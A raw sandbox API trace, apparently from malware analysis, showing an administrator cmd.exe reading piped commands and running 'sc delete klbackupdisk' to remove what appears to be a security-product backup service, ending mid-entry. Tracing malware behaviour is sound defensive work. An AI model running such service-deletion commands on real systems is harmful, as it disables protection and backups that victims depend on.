[0078.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.213] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="p.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.213] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.213] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="d0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.213] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.213] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.214] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.214] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="i\"\nx64-9.4\"\n\nA\"\n") returned 1 [0078.214] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.214] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.214] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.214] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="s\nx64-9.4\"\n\nA\"\n") returned 1 [0078.214] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.214] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.214] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.214] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="kx64-9.4\"\n\nA\"\n") returned 1 [0078.214] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.214] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.214] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.214] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="\n64-9.4\"\n\nA\"\n") returned 1 [0078.214] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.214] GetFileType (hFile=0xb8) returned 0x3 [0078.214] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.214] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.214] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.214] GetFileType (hFile=0x120) returned 0x3 [0078.215] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klbackupdisk\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klbackupdisk\n", lpUsedDefaultChar=0x0) returned 24 [0078.215] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x17, lpOverlapped=0x0) returned 1 [0078.215] GetProcessHeap () returned 0x240000 [0078.215] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0078.215] GetProcessHeap () returned 0x240000 [0078.215] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0078.215] GetProcessHeap () returned 0x240000 [0078.215] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0078.215] GetProcessHeap () returned 0x240000 [0078.215] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0078.215] GetProcessHeap () returned 0x240000 [0078.215] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3a) returned 0x25aa40 [0078.215] GetConsoleOutputCP () returned 0x1b5 [0078.215] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.215] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.216] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.216] GetProcessHeap () returned 0x240000 [0078.216] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0078.216] GetProcessHeap () returned 0x240000 [0078.216] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x25aa90 [0078.216] GetProcessHeap () returned 0x240000 [0078.216] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c5b0 [0078.216] SetErrorMode (uMode=0x0) returned 0x1 [0078.216] SetErrorMode (uMode=0x1) returned 0x0 [0078.216] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c5c0, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0078.216] SetErrorMode (uMode=0x1) returned 0x1 [0078.216] GetProcessHeap () returned 0x240000 [0078.216] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c5b0, Size=0x62) returned 0x25c5b0 [0078.217] GetProcessHeap () returned 0x240000 [0078.217] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c5b0) returned 0x62 [0078.217] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0078.217] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0078.217] GetProcessHeap () returned 0x240000 [0078.217] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0078.217] GetProcessHeap () returned 0x240000 [0078.217] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0078.217] GetProcessHeap () returned 0x240000 [0078.217] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0078.217] GetProcessHeap () returned 0x240000 [0078.217] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0078.217] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0078.217] GetProcessHeap () returned 0x240000 [0078.217] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0078.217] GetProcessHeap () returned 0x240000 [0078.217] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0078.217] GetProcessHeap () returned 0x240000 [0078.217] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0078.217] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.217] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.218] GetLastError () returned 0x2 [0078.218] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.218] GetLastError () returned 0x2 [0078.218] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0078.218] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.218] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.218] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.218] GetLastError () returned 0x2 [0078.218] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.219] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.219] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.219] GetProcessHeap () returned 0x240000 [0078.219] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.219] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.219] GetProcessHeap () returned 0x240000 [0078.219] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa6) returned 0x259180 [0078.219] GetProcessHeap () returned 0x240000 [0078.219] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa6 [0078.219] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klbackupdisk") returned 1 [0078.220] GetProcessHeap () returned 0x240000 [0078.220] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.220] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.220] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.220] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.220] GetProcessHeap () returned 0x240000 [0078.220] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.220] GetProcessHeap () returned 0x240000 [0078.220] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.220] GetProcessHeap () returned 0x240000 [0078.220] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.220] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klbackupdisk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klbackupdisk", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete klbackupdisk", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xaf8, dwThreadId=0xb1c)) returned 1 [0078.225] CloseHandle (hObject=0x54) returned 1 [0078.225] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.225] GetProcessHeap () returned 0x240000 [0078.225] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0078.225] GetEnvironmentStringsW () returned 0x261b10* [0078.225] GetProcessHeap () returned 0x240000 [0078.225] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.225] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.225] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.226] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd9000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.226] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0078.294] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.294] CloseHandle (hObject=0x50) returned 1 [0078.294] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.294] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.294] GetProcessHeap () returned 0x240000 [0078.294] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.294] GetEnvironmentStringsW () returned 0x261b10* [0078.294] GetProcessHeap () returned 0x240000 [0078.294] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.294] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.294] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.294] GetProcessHeap () returned 0x240000 [0078.294] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.295] GetEnvironmentStringsW () returned 0x261b10* [0078.295] GetProcessHeap () returned 0x240000 [0078.295] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.295] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.295] GetProcessHeap () returned 0x240000 [0078.295] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.295] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.295] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.296] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.296] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.296] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.296] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.296] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.296] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.296] GetConsoleOutputCP () returned 0x1b5 [0078.297] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.297] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.297] GetProcessHeap () returned 0x240000 [0078.297] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.297] GetProcessHeap () returned 0x240000 [0078.297] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.297] GetProcessHeap () returned 0x240000 [0078.297] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.297] GetProcessHeap () returned 0x240000 [0078.297] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0078.297] GetProcessHeap () returned 0x240000 [0078.297] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0078.297] GetProcessHeap () returned 0x240000 [0078.297] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.298] GetProcessHeap () returned 0x240000 [0078.298] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0078.298] GetProcessHeap () returned 0x240000 [0078.298] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.298] GetProcessHeap () returned 0x240000 [0078.298] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.298] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.298] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.298] GetFileType (hFile=0x120) returned 0x3 [0078.298] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.298] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.298] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.298] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.298] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.299] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.299] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.299] GetFileType (hFile=0x120) returned 0x3 [0078.299] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.299] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.299] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.299] GetFileType (hFile=0xb8) returned 0x3 [0078.299] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.299] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.299] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.299] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.299] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.299] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.300] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.300] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.300] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.300] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.300] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.300] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.300] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.300] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.300] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.300] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.300] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.301] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.301] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.301] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.301] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.301] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.301] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.301] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.301] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.301] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.301] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.301] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete klbackupdisk\n64-9.4\"\n\nA\"\n") returned 1 [0078.302] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.302] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | 